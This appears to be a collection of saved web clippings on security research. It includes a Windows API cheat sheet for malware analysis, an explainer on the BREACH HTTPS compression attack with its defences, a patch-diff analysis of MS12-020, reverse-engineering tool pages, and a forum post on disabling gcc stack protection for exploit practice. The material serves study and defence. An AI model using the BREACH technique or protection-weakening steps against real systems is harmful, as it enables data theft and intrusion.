Filed in pdf, security ·Tags: pdf, security, malware analisys, parser

Leave a Comment »

One blogger likes this post

<img src='img/Temp2_5819.png' width='30' height='30' alt='Alec Waters' />

### Leave a Reply

Click here to cancel reply.

Name \(required\)

E-mail \(required\)

Website

Notify me of follow-up comments via email.

Notify me of site updates

## Categories

  * pdf
  * personal
  * security

## Archives

  * August 2010
  * June 2010
  * March 2010
  * February 2010
  * January 2010

Blogroll

  * Breaking Code
  * Exploiting Stuff.
  * WordPress.com
  * WordPress.org

Theme: Ambiru by Phu. Blog at WordPress.com.

# Windows Functions in Malware Analysis - Cheat Sheet - Part 1 - InfoSec
Institute

**Created:**| _5/26/2015 1:10:55 PM_  
---|---  
**Updated:**| _5/26/2015 1:10:55 PM_  
**Author:**| __  
**Tags:**| _cheat sheets windows environment_  
  

# Windows Functions

  * Accept: This function is used to listen for incoming connections. This function indicates that the program will listen for incoming connections on a socket. It is mostly used by malware to communicate with their Command and Communication server. 
  * AdjustTokenPrivileges: This function is used to enable or disable specific access privileges. In a process injection attack, this function is used by malware to gain additional permissions. 
  * AttachThreadInput: This function attaches the input processing from one thread to another so that the second thread receives input events such as keyboard and mouse events. Keyloggers and other spyware use this function. 
  * Bind: This function is used to associate a local address to a socket in order to listen for incoming connections. 
  * BitBlt: This function is used to copy graphic data from one device to another. Spyware sometimes uses this function to capture screenshots. 
  * CertOpenSystemStore: This function is used to access the certificates stored on the local system. 
  * Connect: This function is used to connect to a remote socket. Malware often uses low-level functionality to connect to a command-and-control server. It is mostly used by malware to communicate with their Command and Communication server. 
  * ConnectNamedPipe: This function is used to create a server pipe for interprocess communication that will wait for a client pipe to connect. Backdoors and reverse shells sometimes use ConnectNamedPipe to simplify connectivity to a command-and-control server. 
  * ControlService: This function is used to start, stop, modify, or send a signal to a running service. If malware is using its own malicious service, code needs to be analyzed that implements the service in order to determine the purpose of the call. 
  * CreateFile: Creates a new file or opens an existing file. 
  * CreateFileMapping: This function is used to create a handle to a file mapping that loads a file into memory and makes it accessible via memory addresses. Launchers, loaders, and injectors use this function to read and modify PE files. 
  * CreateMutex: This function creates a mutual exclusion object that can be used by malware to ensure that only a single instance of the malware is running on a system at any given time. Malware often uses fixed names for mutexes, which can be good host-based indicators to detect additional installations of the malware. 
  * CreateProcess: This function creates and launches a new process. If malware creates a new process, new process needs to be analyzed as well. 
  * CreateRemoteThread: This function is used to start a thread in a remote process. Launchers and stealth malware use CreateRemoteThread to inject code into a different process. 
  * CreateService: This function is used to create a service that can be started at boot time. Malware uses CreateService for persistence, stealth, or to load kernel drivers. 
  * CreateToolhelp32Snapshot: This function is used to create a snapshot of processes, heaps, threads, and modules. Malware often uses this function as part of code that iterates through processes or threads. 
  * CryptAcquireContext: This function is often the first function used by malware to initialize the use of Windows encryption.
  * DeviceIoControl: This function sends a control message from user space to a device driver. Kernel malware that needs to pass information between user space and kernel space often use this function. 
  * EnableExecuteProtectionSupport: This function is used to modify the Data Execution Protection \(DEP\) settings of the host, making it more susceptible to attack. 
  * EnumProcesses: This function is used to enumerate through running processes on the system. Malware often enumerates through processes to find a process into which to inject. 
  * EnumProcessModules: This function is used to enumerate the loaded modules \(executables and DLLs\) for a given process. Malware enumerates through modules when doing an injection. 
  * FindFirstFile/FindNextFile: This function is used to search through a directory and enumerate the file system. 
  * FindResource: This function is used to find a resource in an executable or loaded DLL. Malware sometimes uses resources to store strings, configuration information, or other malicious files. If this function is used, then check for an .rsrc section in the malware’s PE header. 
  * FindWindow: This function is used to search for an open window on the desktop. Sometimes this function is used as an anti-debugging technique to search for OllyDbg windows. 
  * FtpPutFile: This function is used to upload a file to remote FTP server.
  * GetAdaptersInfo: This function is used to obtain information about the network adapters on the system. Backdoors sometimes call GetAdaptersInfo in the information-gathering phase to gather information about infected machines. In some cases, it’s used to gather MAC addresses to check for VMware as part of anti-virtual machine techniques. 
  * GetAsyncKeyState: This function is used to determine whether a particular key is being pressed. Malware sometimes uses this function to implement a keylogger. 
  * GetDC: This function returns a handle to a device context for a window or the whole screen. Spyware that takes screen captures often uses this function. 
  * GetForegroundWindow: This function returns a handle to the window currently in the foreground of the desktop. Keyloggers commonly use this function to determine in which window the user is entering his keystrokes. 
  * Gethostbyname: This function is used to perform a DNS lookup on a particular hostname prior to making an IP connection to a remote host. Hostnames that serve as command and- control servers often make good network-based signatures. 
  * Gethostname: This function is used to retrieve the hostname of the computer. Backdoors sometimes use gethostname in information gathering phase of the victim machine. 
  * GetKeyState: This function is used by keyloggers to obtain the status of a particular key on the keyboard. 
  * GetModuleFilename: This function returns the filename of a module that is loaded in the current process. Malware can use this function to modify or copy files in the currently running process. 
  * GetModuleHandle: This function is used to obtain a handle to an already loaded module. Malware may use GetModuleHandle to locate and modify code in a loaded module or to search for a good location to inject code. 
  * GetProcAddress: This function is used to retrieve the address of a function in a DLL loaded into memory. This is used to import functions from other DLLs in addition to the functions imported in the PE file header. 
  * GetStartupInfo: This function is used to retrieve a structure containing details about how the current process was configured to run, such as where the standard handles are directed. 
  * GetSystemDefaultLangId: This function returns the default language settings for the system. These are used by malwares by specifically designed for region-based attacks. 
  * GetTempPath: This function returns the temporary file path. If malware call this function, check whether it reads or writes any files in the temporary file path. 
  * GetThreadContext: This function returns the context structure of a given thread. The context for a thread stores all the thread information, such as the register values and current state.
  * GetVersionEx: This function returns information about which version of Windows is currently running. This can be used as part of a victim survey, or to select between different offsets for undocumented structures that have changed between different versions of Windows. 
  * GetWindowsDirectory: This function returns the file path to the Windows directory \(usually C:\Windows\). Malware sometimes uses this call to determine into which directory to install additional malicious programs. 
  * inet\_addr: This function converts an IP address string like 127.0.0.1 so that it can be used by functions such as connect. The string specified can sometimes be used as a network-based signature. 
  * InternetOpen: This function initializes the high-level Internet access functions from WinINet, such as InternetOpenUrl and InternetReadFile. Searching for InternetOpen is a good way to find the start of Internet access functionality. One of the parameters to InternetOpen is the User-Agent, which can sometimes make a good network-based signature. 
  * InternetOpenUrl: This function opens a specific URL for a connection using FTP, HTTP, or HTTPS.URLs, if fixed, can often be good network-based signatures. 
  * InternetReadFile: This function reads data from a previously opened URL. 
  * InternetWriteFile: This function writes data to a previously opened URL. 

In the next part of the series, we will look into some more Windows functions
that are used by malware analysts.

Author

#####  Lohit Mehta

Lohit is a Security Professional currently working as a Security Analyst with
Oracle. He has experience in working with RFPs/RFIs; Security HLD and LLD
design; Network Security elements like Firewall, IDS/IPS, DLP, Reverse proxy,
WAF; in Public Key Infrastructure\(PKI\); in Application Security testing for
OWASP Top 10; in Compliance's like PCI-DSS 2.0,3.0 , ISO 27k1, HIPPA; with
Cloud Service Provider's such as AWS; in Security Incident and Event
Management\(SIEM\) with tools like Splunk; in Vulnerability Testing. He holds
certifications like Comptia Security+, IBM cloud security solution advisor.
Earlier he was working with Infosys.

# Anatomy of a cryptographic oracle – understanding \(and mitigating\) the BREACH attack | Naked Security
**Created:**| _8/6/2013 10:29:33 AM_  
---|---  
**Updated:**| _8/6/2013 10:30:08 AM_  
**Author:**| __  
**Tags:**| _crackers crypto_  
  

# **A** natomy of a cryptographic oracle - understanding \(and mitigating\)
the BREACH attack****

A whole lot has been talked, over the past week, about a newly-documented
attack against secure HTTP, better known as HTTPS**.**  

The attack is dubbed BREACH, fancifully expanded as _Browser Reconnaissance
and Exfiltration via Adaptive Compression of Hypertext_**.**

Its notoriety comes from the fact that it was presented at the BlackHat 2013
conference**.**

There seems to be a fair bit of misunderstanding of exactly how BREACH works,
and therefore how it might be mitigated or fixed**.**

Some articles have likened BREACH to previous attacks against secure HTTP,
such as Lucky 13 and BEAST **.**

But that's not the full story, because those earlier attacks were against TLS
**.**

TLS is the cryptographic wrapper, known as Transport Layer Security, that
provides a secure conduit for electronic transactions of many sorts, notably
web and email**.**

BREACH is really an attack against HTTP itself, the hypertext transfer
protocol that is used ubiquitously for delivering web pages**.**

Indeed, you could even use the BREACH attack against an unencrypted web
session, if you were unable to sniff the entire session but could only capture
certain metadata about it, such as the lengths of HTTP replies**.**

#### What sort of attack is BREACH**?**

BREACH is what's known as an _oracle attack_ **.**

That's where you are able to fire some questions at a computer system, observe
the answers that come back, and use them to infer facts that the answers
didn't intend to disclose - regardless of how garbled or irrelevant those
answers might seem at first**.**

→ The name comes from the Oracle at Delphi, a Greek priestess who would answer
questions while under the influence of psychotropic vapours**.** Presumably,
the answers were trippily disconnected enough to be useless on their own, but
were nevertheless interpreted by priestly intermediaries in an attempt to make
them shed light on the issues under consideration**.**

A easy-to-understand example is given in a discussion on StackExchange from
nearly a year ago, where the poster, Thomas Pornin, describes a trick he says
was used in World War One by French codebreakers**.**

They noticed that the Germans included the rank of the intended recipient in
the preamble of their messages, and though it was encrypted, the Germans did
not disguise the length of this field**.**

So messages to the Colonel \(_Oberst_\) would stand out from messages to a
junior officer \(_Oberleutnant_\) simply because of the difference in length
of the two words**.**

Since messages to the Colonel were generally much more important, they were
attempted first**.**

#### How does BREACH work?

The attack relies on the fact that many web pages are compressed to save
bandwidth before they are sent out**.**

<img src='img/Temp2_740.png' width='183' height='137' />Loosely speaking, the
web server takes the body of an HTTP reply and squashes it with an algorithm
known as deflate , the same compression that is used in PKZIP and gzip**.**

On arrival, your browser inflates it and processes it from there as if the
HTTP session had been uncompressed all along**.**

Even when a compressed HTTP response is wrapped in TLS encryption to produce a
secure HTTPS connection, the actual length of the encrypted data stream \(more
precisely, the length of the compressed data inside the encrypted stream\) can
be determined**.**

And by trying lots of different inputs, each slightly different from the last,
and seeing how well or badly they compress, you may be able to guess some of
what's inside, even though you can't decrypt any of the messages

#### A practical example****

Imagine a vendor's website that has a page on which you can search for
invoices**.**

Of course, you need to login to get access, so when you first visit the search
page, you'll be asked to do so:

<img src='img/Temp2_735.png' />

Once that's out of the way, the web server will probably set a session cookie
that your browser will send in the headers of future HTTP requests in order to
denote that you have successfully logged in**.**

\(An attacker can't just use an automatic tool like Firesheep to grab the
cookie by sniffing - the traffic is encrypted over HTTPS**.**\)

Now you can carry out a search:

<img src='img/Temp2_741.png' />

You get back an answer which looks like this:

<img src='img/Temp2_732.png' />

The raw HTML, decrypted and inflated, looks like this:

<img src='img/Temp2_737.png' />

Because the content is encrypted in transmission, it doesn't seem
inappropriate to include what amounts to Personally Identifiable Information
\(PII\) in the body of the web page, in this case the login ID `10462987`**.**

But notice that even though the web page is encrypted, there is one part that
you can not only predict, but control precisely: the search term that you
entered into the search box**.**

For example, once you've logged in and a suitable session cookie has been set
by the vendor's server, you can bypass the search box and control the search
results by directly tweaking the search URL:

<img src='img/Temp2_730.png' />

Now stop to ask yourself, "In the web page above, where the login ID appears
twice in close proximity, what would happen to the compression ratio**?** "

The deflate algorithm works by detecting repeated byte sequences in the input,
and avoiding repeating them in the output**.**

Instead of outputting `10462987` a second time, the compressor says, "I
already saw the next eight characters 66 characters ago**.** "

So if you run a series of searches, with each search term being a guess at the
login ID, you'd expect to get back HTTP replies of varying length**.**

In theory, the better your guess, the better the reply will compress \(because
of the repeated data\), and the shorter it will be**.**

#### From oracular response to probable fact****

For our imaginary website, I wrote a tiny HTML page that uses JavaScript to
force you to perform 10000 searches of the `vulnocord.test` website, each
embedded in a tiny IFRAME:

<img src='img/Temp2_739.png' />

I left each IFRAME visible, just for visual confirmation that the multi-search
script was working and harvesting results for every four-digit combination,
despite the script's tiny size:

<img src='img/Temp2_738.png' />

Using the Firebug debugger shows us the HTML that was generated and actually
rendered in the browser:

<img src='img/Temp2_733.png' />

\(In practice, those IFRAMES could be be made smaller, and hidden in amongst
legitimate-looking content, or even made entirely invisible**.**\)

I measured the compressed sizes of the 10,000 HTML pages that were
returned**.**

There wasn't much variety in the compressed lengths, which ranged from 267 to
270 bytes, but there was a massive skew in how many times each length showed
up, to the extent that I had to use a logarithmic scale to make the graph fit:

<img src='img/Temp2_736.png' />

It would be a good guess that, amongst the 30 replies that gave a minimum
compressed length \(i**.** e. compressed the best through having most
repetition\), we would find:

  * Search terms with four repeated digits, e.g. 7777**.**
  * Search terms with three or four characters that match a substring in the login ID**.**

And so it turned out, as you can see from the list of the 30 "best compressed"
search terms:

<img src='img/Temp2_734.png' />

In the above list I was easily able to construct a chain of four-digit values
in which the last three digits of one value overlapped with the first three of
the next**.**

There's a potential ambiguity at 6298, the fourth block, which can be followed
by 2980, 2893 or 2897**.**

But only 2987 is followed by other sequences in the list \(8790 and 8793\),
suggesting that the three digits 897 make up the end of the login ID**.**

Technically, I haven't decrypted anything, but I have nevertheless recovered a
modest but significant block of data from the encrypted stream: the value of
the eight-digit login ID, `10462987`**.**

And that, in an admittedly fairly extensive nutshell, is the nature of the
BREACH attack**.**

#### Defending againt BREACH****

Clearly, to use my imaginary attack in real life, the following are required:

  * The HTTP pages must include both the PII that I want to guess and some chosen plaintext that I can control**.**
  * The server must be requested, and configured, to serve the pages with compression turned on**.**
  * I need to persuade you, while you are logged in, to visit a page containing my malicious do-lots-of-searches JavaScript**.**
  * I have to know what sort of PII I am looking for in order to structure my searches correctly**.**
  * I have to be able to sniff your traffic in sufficient detail to recover the length of each HTTP reply**.**

So, if you run a web server and you turn off compression for any pages that
inlcude PII, you neutralise this attack**.**

On the other side of the equation, you may be able to force your browser not
to invite the use of HTTP compression in the first place, thus neutralising
the attack**.**

For example, in Firefox, the `about:config` page allows you to edit the
`Accept-Encoding:` header sent by the browser, changing it from the default of
`gzip, deflate` to an empty string, meaning, "No compression, thanks":

<img src='img/Temp2_731.png' />

If any readers know how to achieve similar results in their favourite
browsers, please let us know in the comments**\!**

Follow @duckblog

**NB**.**** Be aware that if you configure your browser to disallow compressed
HTTP replies, your bandwidth use is likely to increase significantly**.**
Compression will be off even for unencrypted web pages \(where an attacker who
can sniff your HTTP reply lengths can probably just grab the raw data
anyway\), and for pages where BREACH is irrelevant because there is no PII to
extract**.** By way of example, I just loaded a Naked Security page that used
up 183 KBytes with compression enabled, but would have taken more than 500
KBytes without**.**

****

# Phoenix | Microsoft Connect
**Created:**| _4/14/2011 3:24:36 PM_  
---|---  
**Updated:**| _4/14/2011 3:24:36 PM_  
**Author:**| __  
**Tags:**| _compiler-building research Microsoft_  
  

<img src='img/Temp2_6239.gif' alt='Phoenix Banner' />  
---  
|  |    
**<img src='img/Temp2_6237.gif' alt='Phoenix Logo Med' />Phoenix** is the code
name for a software optimization and analysis framework that is the basis for
all future Microsoft compiler technologies. The Phoenix framework is an
extensible system that can be adapted to read and write binaries and MSIL
assemblies and represent the input files in an IR, which can be analyzed and
manipulated by applications by using the Phoenix API. The code can then be
written in binary or JITable form for execution.  For Phoenix research visit
the  Phoenix Academic Program.  
---  
  
|  |  <img src='img/Temp2_6238.gif' alt='Phoenix RDK (2007)' /> |  New\! **New P****hoenix SDK Now Available\!\!  
**  
New Phoenix SDK available for download\! This SDK is a prerelease. It
includes:  

  * New Sample: Interprocedural Analysis Plug-in 
  * Loop Optimizer 
  * Aliased SSA 
  * SSE3 + SSE4 intrinsic support 
  * Numerous minor improvements and bug fixes.

Download  here.  
---|---

# The REIL language – Part I « blog.zynamics.com

**Created:**| _7/9/2010 12:17:48 PM_  
---|---  
**Updated:**| _7/9/2010 12:17:48 PM_  
**Author:**| _wishi_  
**Tags:**| _research reversing_  
  

## The REIL language – Part I

By Sebastian Porst

If you have followed the development of BinNavi over the last two years you
might know that we are making heavy use of something called REIL to provide
features backed by advanced static code analysis. REIL is short for Reverse
Engineering Intermediate Language and at its core it is a platform-independent
pseudo-assembly language that can be used to emulate native assembly code.

A few years ago, Thomas spent some time thinking about making reverse
engineering tools scale \(check out the slides of his Black Hat Windows 2004
talk to learn more\). Software today is larger and more complex than it was in
the past and there are many more interesting platforms to consider as a
security researcher \(just think of Mac OS, iPhone, Android, Blackberry, Cisco
routers, wireless devices, …\). Platform-independent automation of common
reverse engineering tasks seemed like the way to go. If you manage to develop
powerful tools that help you find interesting parts of binary files without
manual intervention you can fight growing complexity and reduce its associated
costs. We created REIL as one of the key technologies for our path towards
this goal.

We designed REIL with one thing in mind: Create a language that can model the
effects of real assembly code but – unlike real assembly code – is very easy
to analyze programmatically. To achieve this we carefully designed a minimal
instruction set of just 17 different instructions and we made sure that the
structure of the instruction operands is regular and comprehensible. We also
made sure that all REIL instructions have exactly one obvious purpose because
we wanted to avoid side effects like setting flags or implicitly accessing
memory. Furthermore we have designed a very simple virtual machine \(REIL VM\)
for REIL code to define the semantic behaviour of REIL code.

In the next few posts I will show you what the instruction set of REIL looks
like, how the semantic model behind REIL interpretation works, how to use REIL
in BinNavi and what the future of REIL will look like.

For now I am going to finish this post with a screenshot that shows some REIL
code in BinNavi \(click to enlarge\). Notice the MIPS-like regularity and
simplicity of the instructions. The original x86 instructions that were the
source of the REIL code are shown as gray line comments.

<img src='img/reil_block.png?w=450&h=314' width='450' height='314' />

A basic block of REIL code

If you already want to learn more about REIL you can check out the BinNavi
manual. Here you can find everything that is necessary to understand the REIL
language and its use in BinNavi.

# The Case of Return-Oriented Programming and the AVC Advantage

**Created:**| _10/13/2009 8:44:37 PM_  
---|---  
**Updated:**| _10/13/2009 8:45:05 PM_  
**Author:**| __  
**Tags:**| _Exploit_  
  
<img src='img/Temp2_7973' />

# ocean's InsecLab » Blog Archive » MS12-020 \(part 1\)

**Created:**| _3/15/2012 3:13:53 PM_  
---|---  
**Updated:**| _3/15/2012 2:14:29 PM_  
**Author:**| __  
**Tags:**| _windows reversing kernel_  
  

### MS12-020 \(part 1\)

Posted by ocean on March 15th, 2012 — Posted in exploit, Reverse Code
Engineering, Vulnerabilities research

Tags: Exploit, MS12-020, RCE, RDP, Remote Code Execution  

An RDP vuln frenzy has spread across the internet: lotsa tweets some memes  
and blog posts.

Let’s take a look and see what’s happening in rdpwd.sys \(windows server 2003
SP2\)

\[5.2.3790.4952\(srv03\_sp2\_gdr.120109-0234\) vs 5.2.3790.4881
\(srv03\_sp2\_gdr.110624-0339\)\]

The first difference that really jumps out is in HandleAttachUserReq, a call
to ExFreePoolWithTag has been added:

[code]

    .text:00030967                 call    _SListRemove@12 ; SListRemove(x,x,x)
    .text:0003096C                 mov     eax, [ebp+P]
    .text:0003096F                 cmp     eax, ebx
    .text:00030971                 jz      short loc_30980
    .text:00030973                 cmp     [eax+5], bl
    .text:00030976                 jnz     short loc_30980
    .text:00030978                 push    ebx             ; Tag
    .text:00030979                 push    eax             ; P
    .text:0003097A                 call    ds:__imp__ExFreePoolWithTag@8 ; ExFreePoolWithTag(x,x)
    .text:00030980
    .text:00030980 loc_30980:                              ; CODE XREF: HandleAttachUserReq(x,x,x,x)+19j
    .text:00030980                                         ; HandleAttachUserReq(x,x,x,x)+94j ...
    .text:00030980                 pop     esi
    .text:00030981                 mov     al, 1
    .text:00030983                 pop     ebx
    .text:00030984                 leave
    .text:00030985                 retn    8
[/code]

A memory leak problem has been fixed here: in case SendOutBuf failed, an entry
\(representing user connection?\) would be removed from the list, but the
memory pool wont be freed\!

Also WDWConnect has a few lines of code which looks like some boundary checks:

<img src='img/Temp2_10506.png' width='466' height='569' alt='alt' />

this function is always called after parsing user data:

[code]

    .text:0001978A                 call    _WDWParseUserData@36 ; WDWParseUserData(x,x,x,x,x,x,x,x,x)
    .text:0001978F                 test    eax, eax
    .text:00019791                 jz      short loc_1973D
    .text:00019793                 push    0
    .text:00019795                 push    esi
    .text:00019796                 push    [ebp+arg_4]
    .text:00019799                 push    [ebp+var_4]
    .text:0001979C                 push    [ebp+var_8]
    .text:0001979F                 push    [ebp+var_C]
    .text:000197A2                 push    [ebp+arg_0]
    .text:000197A5                 call    _WDWConnect@28  ; WDWConnect(x,x,x,x,x,x,x)
[/code]

Something weird’s happening with user data header, but can’t really say if
this could lead to memory corruption somehow without further analysis.  
There could just be no RCE in Windows Server 2003 and windows XP although
CVE-2012-0002 is clear: http://www.securityfocus.com/bid/52353…

regards,  
ocean

# WinDBG reference note + extensions noted

**Created:**| _6/14/2009 4:41:36 PM_  
---|---  
**Updated:**| _6/14/2009 4:42:18 PM_  
**Author:**| __  
**Tags:**| _Debugging windows security security tools_  
  

**Debugger commands review**

* * *
This posting is a master list of all the other posts and post series that
cover different WinDbg commands, whether they be built-in commands, extension
commands, or even third-party extension commands.  

  1. Using SDbgExt to aid your debugging and reverse engineering efforts \(part 1\). SDbgExt is the debugger extension that I maintain and make publicly available. This series provides a high-level overview of the different commands that it offers.
  2. SDbgExt extensions, part 2
  3. Useful WinDbg commands: .formats
  4. Using  _knf_ to track down excessive stack usage. This trick is discussed in a section of the “Beware of stack usage with the new network stack in Windows Vista” post.
  5. Removing kernel patching on the fly with the kernel debugger. This article discusses how you can use the  _\!chkimg_ command to remove patches and hooks on loaded module code at runtime. \(This particular command is also available and applicable to the user mode debuggers, and not just the kernel debugger.\)
  6. Debugger flow control: More on breakpoints \(part 2\). This article explores some of the inner workings of the various breakpoints supported by WinDbg. In addition, it describes the  _.apply\_dbp_ command that can be used to apply a set of hardware breakpoints to the current register context, or a saved register context image in-memory.
  7. SDbgExt 1.09 released \(support for displaying x64 EH data\). This article describes the  _\!fnseh_ command in SDbgExt that can be used to view exception handlers and unwind handlers for x64 targets from the debugger.
  8. Useful debugger commands: .writemem and .readmem. This article covers the  _.writemem_ and  _.readmem_ commands that can be used to move large sections of raw data into or out of the debugger.

  
http://www.nynaeve.net/?p=70

# google/binnavi

**Created:**| _8/19/2015 2:18:15 PM_  
---|---  
**Updated:**| _8/19/2015 2:18:15 PM_  
**Author:**| __  
**Tags:**| __  
  

# BinNavi

Copyright 2015 Google Inc.

Disclaimer: This is not an official Google product \(experimental or
otherwise\), it is just code that happens to be owned by Google.

# Introduction

BinNavi is a binary analysis IDE - an environment that allows users to
inspect, navigate, edit, and annotate control-flow-graphs of disassembled
code, do the same for the callgraph of the executable, collect and combine
execution traces, and generally keep track of analysis results among a group
of analysts.

# Complications from a third-party dependency

BinNavi uses a commercial third-party graph visualisation library \(yFiles\)
for displaying and laying out graphs. This library is immensely powerful, and
not easily replaceable.

In order to perform direct development using yFiles, you need a developer
license for it. At the same, we want the community to be able to contribute to
BinNavi without needing a commercial yFiles license. In order to do this and
conform to the yFiles license, all interfaces to yFiles need to be properly
obfuscated.

In order to achieve this, we did the following:

1\) BinNavi and all the libraries have been split into two: The parts of the
project that directly depend on yFiles were split into subpackages called
"yfileswrap":

  * com.google.security.zynamics.binnavi
  * com.google.security.zynamics.binnavi.yfileswrap
  * com.google.security.zynamics.zylib
  * com.google.security.zynamics.zylib.yfileswrap
  * com.google.security.zynamics.reil
  * com.google.security.zynamics.reil.yfileswrap

We are distributing a pre-built JAR file with all the code in the "yfileswrap"
subpackages - pre-linked and obfuscated against yFiles. If you wish to change
or add code in BinNavi and do not have a yFiles license, you can freely do
pretty much whatever you want in the non-yfileswrap packages - you can simply
put the `lib/yfileswrap-obfuscated.jar` into your classpath to test and see
the results.

If you wish to make changes to the "yfileswrap" subdirectories, please be
aware that you will need a valid yFiles license - and any contribution that
you make to the BinNavi project has to honor their license agreement. This
means that you can't simply expose their inner APIs under different names etc.

We will enforce this - we're very happy to have found a way to open-source
BinNavi with the yFiles dependency, and we will make sure that any code we
pull in respects the yFiles license.

# Building BinNavi from scratch

BinNavi uses Maven for its dependency management, but not for the actual build
yet. To build from scratch use these commands:

[code]

    mvn dependency:copy-dependencies
    ant -f src/main/java/com/google/security/zynamics/build.xml \
      build-binnavi-fat-jar
    
[/code]

# Running BinNavi for the first time

Please be aware that BinNavi makes use of a central PostgreSQL database for
storing disassemblies/comments/traces - so you need to have such an instance
running somewhere accessible to you. You can build/launch BinNavi as follows:

[code]

    ant -f src/main/java/com/google/security/zynamics/build.xml \
      build-binnavi-fat-jar
    java -jar target/binnavi-all.jar
    
[/code]

## Loading the project into Eclipse

Loading the code into Eclipse for further development requires a little bit of
configuration.

  1. Download the dependencies \(as described above\) and make sure you have a Java SDK with 1.8 language compliance installed.
  2. Create a new "Java Project From Existing Ant Buildfile" and use the file src/main/java/com/google/security/zynamics/build.xml
  3. Select '"javac" task found in target "build-binnavi-jar"
  4. Open the "Project Properties" dialog.
  5. Edit the source folders to have the following properties: 
     * Linked Folder Location: `$SRCDIR/src/main/java`
     * Folder Name: `java`
     * Click on "Next"
  6. Add `binnavi/yfileswrap`, `zylib/yfileswrap`, and `reil/yfileswrap` to the list of directories to exclude.
  7. Go to Run->Debug Configurations, select "Java Application" and then search for "CMain". 

You should be ready to go from here.

# Exporting disassemblies from IDA

As part of this project, we are distributing a binary-only \(sorry\!\) IDA pro
plugin that exports disassemblies from IDA into the Postgresql database format
that BinNavi requires. When running BinNavi, simply configure the right path
for IDA, click on the "install plugin" button if necessary -- you should now
be able to import disassemblies.

# Using other disassemblers than IDA

Right now, we only have the IDA export plugin - but we are hoping very much
that someone will help us build export functionality for other disassemblers
in the near future.

# AirBlue - Overview - AWB/Leap Projects

**Created:**| _1/22/2012 7:21:41 PM_  
---|---  
**Updated:**| _1/22/2012 7:21:41 PM_  
**Author:**| __  
**Tags:**| _research DSP fpga_  
  

## Overview

AirBlue is a highly modular platform for wireless exploration. Recently, we
have ported AirBlue to the popular USRP2/N210 platform.

Getting Started With AirBlue

Airblue\_20

XUPV5

# Introduction

Today's wireless networks are designed using the same layering principles that
worked well for wired networks. In this design, the physical and link layers
ensure a reasonably reliable point-to-point communication abstraction, on top
of which higher layers implement routing, congestion control, and end-to-end
reliability.

The prevalent interfaces between the physical, link, and network layers do not
serve wireless networks built out of radios particularly well. Radio is very
different from a wire: it is a shared medium, so any two concurrent
communications in the same frequency band will interfere with each other.
Thus, the notion of a \`\`point-to-point  
link'', the fundamental building block for a wired network, is not a good
abstraction for wireless networks. There is ample evidence that building a
network stack and architecture on top of a \`\`link'' abstraction leads to
poor performance. The problems with the current model are exacerbated as the
number of nodes and the amount of traffic increase, and as interference
becomes a dominant constraint.

The past few years have seen a flurry of interesting proposals to improve the
performance of wireless networks. Examples include: interference cancellation,
ZigZag decoding, Conflict Maps \(CMAP\), the SoftPHY interface, SampleWidth,
SNR-based rate adaptation, Analog Network Coding, MIXIT, COPE, VWID, ODS,
SWIFT and MIM.  
All these proposals advocate modifications of some kind to the current
layering structure. The significance of the problem and the increasing
interest in these solutions promise many more ideas and proposals from the
research community.

Unfortunately, as novel and promising as these ideas are, the state-of-the-art
in evaluating them is poor. Wireless propagation is notoriously hard to model,
simulate, and emulate; with interference and high user densities, our
experience is that this approach is untenable. Hence, researchers typically
use a software  
radio such as GNURadio~\cite\{gnuradio\}, together with RF front-ends such as
USRP. This combination provides the flexibility to write any module in
software, but the throughput and latency of such protocols are one to three
orders of magnitude worse than realistic hardware designs. In addition, it is
hard to meet the predictable  
latency and throughput requirements that real-world protocols such as 802.11
demand. As a result, it is sometimes questionable whether the improvements
reported on software platforms such as GNURadio will scale to the bit-rates
and node densities observed in practice.

We present AirBlue, a new hardware and software system that combines the
programmability of software and the high performance and predictability of
hardware. The AirBlue hardware consists of a compact FPGA-based board that
implements the physical and link layers. The AirBlue software provides a
collection of modules for implementing  
protocols such as 802.11. It allows the programmer to extend existing protocol
modules with new protocol  
behavior described as a state machine. The programmer can also wire new
modules into the data-flow graph provided by existing modules, to provide new
processing paths required by protocols such as interference cancellation or
ZigZag. AirBlue's interfaces and implementation guarantee that a new protocol
built by extending an existing protocol in this manner is correct under
composition. The run-time environment provides predictable execution, which
helps the programmer understand under what conditions a new protocol violates
throughput and latency  
requirements. AirBlue modules are organized so that the programmer can isolate
and debug a module's code easily.

###

# SmashTheStack Forum

**Created:**| _9/7/2011 7:39:01 PM_  
---|---  
**Updated:**| _9/8/2011 3:09:24 PM_  
**Author:**| __  
**Tags:**| _Exploit Lab-Setup_  
  

Ok so you want to practice exploiting at home on your own box, but things just
don't seem to be working.  
Here are a few things that you may want to consider before you give up.  
  
  
**::: GCC PROTECTIONS :::**  
  
**_o Stack Smashting Protection \(SSP\) / ProPolice_ **  
-fstack-protector - enables stack protection for functions using character arrays   
-fno-stack-protector - disables stack protection   
  
by default it is included in gcc >=4.1 but not enabled, however it is distro
specific  
  
to check:  
  

#### Code:

[code]

    mike@quazi(/tmp):$ objdump -d sts | grep stack_chk_fail
    080482e8 <__stack_chk_fail@plt>:
     80483f8:       e8 eb fe ff ff          call   80482e8
    <__stack_chk_fail@plt>
            
[/code]

What it does:  
  
1\. Reorders local variables so that buffers are placed after pointers  
2\. Copies pointers in function arguments to an area before local buffers  
3\. omits instrumentation code from functions to reduce overhead  
4\. adds a call to \_\_stack\_chk\_fail\(\) in the epilog  
  
**_o GNU\_STACK ELF markings_ **  
-z execstack - enable executable stack   
-z noexecstack - disable executable stack \(default\)   
  
gcc adds the stack marking above when you compile your source code. The
default behavior is that your executable ends up with a non-executable stack
unless there was some indication that an executable stack was necessary
\(trampolines\).  
  

#### Code:

[code]

    mike@quazi(/tmp):$ gcc -o sts sts.c && readelf -l sts |
    grep -i stack
      GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 
    0x4
    
    mike@quazi(/tmp):$ gcc -z execstack -o sts sts.c && readelf
    -l sts | grep -i stack
      GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE
    0x4
            
[/code]

_\*\* There is also a execstack\(8\) tool included in the prelink package that
can dynamically set or unset the executable stack. \*\*_  
  

#### Code:

[code]

    mike@quazi(/tmp):$ readelf -l sts | grep -i stack
      GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE
    0x4
    
    mike@quazi(/tmp):$ execstack -c sts && readelf -l sts |
    grep -i stack
      GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 
    0x4
    
    mike@quazi(/tmp):$ execstack -s sts && readelf -l sts |
    grep -i stack
      GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE
    0x4
            
[/code]

